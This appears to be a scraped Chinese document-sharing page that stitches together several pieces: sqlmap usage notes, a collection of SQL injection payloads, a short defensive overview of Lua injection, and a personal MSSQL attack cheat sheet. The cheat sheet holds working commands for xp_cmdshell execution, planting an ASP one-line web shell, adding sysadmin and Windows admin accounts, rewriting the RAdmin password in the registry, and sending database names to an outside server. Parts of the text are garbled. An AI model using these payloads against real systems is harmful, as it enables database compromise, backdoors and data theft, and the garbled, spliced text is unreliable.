•--data:指定 POST 请求中的数据。
•--cookie:指定 Cookie。
•--level:指定测试的深度级别(1-5)。
•--risk:指定测试的风险级别(1-3)。
•--dbms:指定目标数据库管理系统(MySQL、Oracle、SQL Server 等)。
•--os:指定目标操作系统。
•--threads:指定使用的线程数。
3.3 示例以下是一些常见的 sqlmap 命令示例:3.3.1 GET 请求漏洞测试python sqlmap.py -u ""该命令将对指定 URL 进行 GET 请求漏洞测试。
3.3.2 POST 请求漏洞测试python sqlmap.py -u "" --data="username=admin&password=123456" --cookie="PHPSE SSID=abcdefg"该命令将对指定 URL 进行 POST 请求漏洞测试,并提供相应的表单数据和 Cookie。
渗透常用SQL注入语句大全
1.判断有无注入点;and1=1and1=22.猜表一般的表的名称无非是adminadminuseruserpasspassword 等..and0<>(selectcount(*)from*)and0<>(selectcount(*)fromadmin)—判断是否存在admin 这张表3.猜帐号数目如果遇到0<返回正确页面1<返回错误页面说明帐号数目就是1个and0<(selectcount(*)fromadmin)and1<(selectcount(*)fromadmin)4.猜解字段名称在len()括号里面加上我们想到的字段名称.??1 2 3 and 1=(selectcount(*)fromadminwherelen(*)>0)–and 1=(selectcount(*)fromadminwherelen(用户字段名称name)>0)and 1=(selectcount(*)fromadminwherelen(_blank>密码字段名称password)>0)5.猜解各个字段的长度猜解长度就是把>0变换直到返回正确页面为止??1 2 3 4 5 6 7 8and 1=(selectcount(*)fromadminwherelen(*)>0)and 1=(selectcount(*)fromadminwherelen(name)>6)错误and 1=(selectcount(*)fromadminwherelen(name)>5)正确长度是6and 1=(selectcount(*)fromadminwherelen(name)=6)正确and 1=(selectcount(*)fromadminwherelen(password)>11)正确and 1=(selectcount(*)fromadminwherelen(password)>12)错误长度是12 and 1=(selectcount(*)fromadminwherelen(password)=12)正确6.猜解字符and1=(selectcount(*)fromadminwhereleft(name,1)=a)—猜解用户帐号的第一位 and1=(selectcount(*)fromadminwhereleft(name,2)=ab)—猜解用户帐号的第二位 就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了and1=(selecttop1count(*)fromAdminwhereAsc(mid(pass,5,1))=51)–这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC 码就OK.最后把结果再转换成字符.?1 2 3 4 5 6 7 8 9 groupbyusers.idhaving 1=1groupbyusers.id,ername,users.password,users.privshaving 1=1– ;insertintousersvalues(666,attacker,foobar,0xffff )–UNIONSelectTOP 1COLUMN_blank>_NAMEFROMINFORMATION_blank>_SCHEMA.COLUMNS WhereTABLE_blank>_NAME=logintable-UNIONSelectTOP 1COLUMN_blank>_NAMEFROMINFORMATION_blank>_SCHEMA.COLUMNS WhereTABLE_blank>_NAME=logintableWhereCOLUMN_blank>_NAMENOTIN(login_bl ank>_id)-UNIONSelectTOP 1COLUMN_blank>_NAMEFROMINFORMATION_blank>_SCHEMA.COLUMNS WhereTABLE_blank>_NAME=logintableWhereCOLUMN_blank>_NAMENOTIN(login_bl ank>_id,login_blank>_name)-UNIONSelectTOP 1login_blank>_nameFROMlogintable-UNIONSelectTOP 1passwordFROMlogintablewherelogin_blank>_name=Rahul – 看_blank>服务器打的补丁=出错了打了SP4补丁and1=(select@@VERSION)–看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin 权限。
lua 注入方法
lua 注入方法Lua 注入方法Lua 注入是一种常见的攻击方式,它利用了 Lua 解释器的强大功能,在程序运行时动态注入恶意代码。
本文将详细介绍各种 Lua 注入方法,以帮助开发者更好地理解和防御这种攻击。
1. 直接执行注入在一些场景下,攻击者能够直接将恶意代码注入到程序中执行。
这种注入方式通常发生在参数传递、配置文件解析等情况下。
攻击者通过在输入中添加执行 Lua 代码的特殊语法,触发注入漏洞。
2. 拼接字符串注入拼接字符串注入是指攻击者通过拼接恶意代码字符串的方式进行注入。
这种方式通常出现在动态生成 SQL 语句、拼接 shell 命令等情况下。
攻击者通过在字符串中插入特殊字符,使程序将其误认为是合法 Lua 代码而执行。
3. 文件加载注入在 Lua 中,存在一些函数用于加载外部文件,比如dofile()和loadfile()。
攻击者可以通过构造恶意的文件内容,利用这些函数执行恶意代码。
开发者在使用这些函数时应该对文件路径进行严格的校验和过滤。
4. 沙盒绕过注入为了增加代码的安全性,一些程序会将 Lua 解释器置于沙盒环境中,限制其执行能力。
然而,攻击者可以通过一些技巧绕过沙盒限制,执行恶意代码。
开发者需要对沙盒环境进行充分的测试和评估,确保其能够有效地保护程序。
5. 扩展库注入Lua 支持通过 C 语言编写扩展库,这些库可以被 Lua 程序加载和调用。
攻击者可以通过自己编写恶意的扩展库,实现恶意代码的注入。
开发者应该只使用可信的扩展库,并对其来源和内容进行审查。
以上是常见的 Lua 注入方法,开发者在编写 Lua 程序时应该注意防范这些攻击手段。
建议进行输入验证、字符串过滤和文件路径校验等安全措施,以减少注入漏洞的可能性。
另外,及时更新 Lua 解释器和相关库的版本,以获取最新的安全补丁和修复。
感谢阅读本文,希望对你理解 Lua 注入方法有所帮助!6. 元表注入Lua 中的元表(metatable)可以用于重定义表的操作。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
//-----------------------
// 执行命令
//-----------------------
GRANT exec On xp_proxiedadata TO public
停掉或激活某个服务。
exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'
//检测是否有读取某数据库的权限
and 1= (Select HAS_DBACCESS('master'))
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
数字类型
and char(124)%2Buser%2Bchar(124)=0
更改sa口令方法:用sql综合利用工具连接后,执行命令:
exec sp_password NULL,'新密码','sa'
添加和删除一个SA权限的用户test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin
字符类型
' and char(124)%2Buser%2Bchar(124)=0 and ''='
搜索类型
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
爆用户名
and user>0
' and user>0 and ''='
检测是否为SA权限
create database lcx;
Create TABLE ku(name nvarchar(256) null);
Create TABLE biao(id int NULL,name nvarchar(256) null);
//得到数据库名
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
我记性不好,所以把常用的注入代码记录下来,有点乱,但对我来说,还算很有用,希望大家也会喜欢!
//看看是什么权限的
and 1=(Select IS_MEMBER('db_owner'))
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
判断xp_cmdshell扩展存储过程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
//在Master中创建表,看看权限怎样
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
用 sp_makewebtask直接在web目录里写入一句话马:
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
删除扩展存储过过程xp_cmdshell的语句:
exec sp_dropextendedproc 'xp_cmdshell'
添加扩展存储过过程
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
dbo.xp_makecab
'c:\test.cab','mszip',1,
'C:\Inetpub\wwwroot\SQLInject\login.asp',
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
xp_terminate_process
dbo.xp_subdirs
只列某个目录下的子目录。
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
dbo.xp_makecab
将目标多个档案压缩到某个目标档案之内。
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
写注册表
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
REG_SZ
读注册表
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
停掉某个执行中的程序,但赋予的参数是 Process ID。
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
xp_terminate_process 2484 xp_unpackcab
解开压缩档。
xp_unpackcab 'c:\test.cab','c:\temp',1
首先开启沙盘模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
然后利用jet.oledb执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
检测是不是MSSQL数据库
and exists (select * from sysobjects);--
检测是否支持多行
;declare @d int;--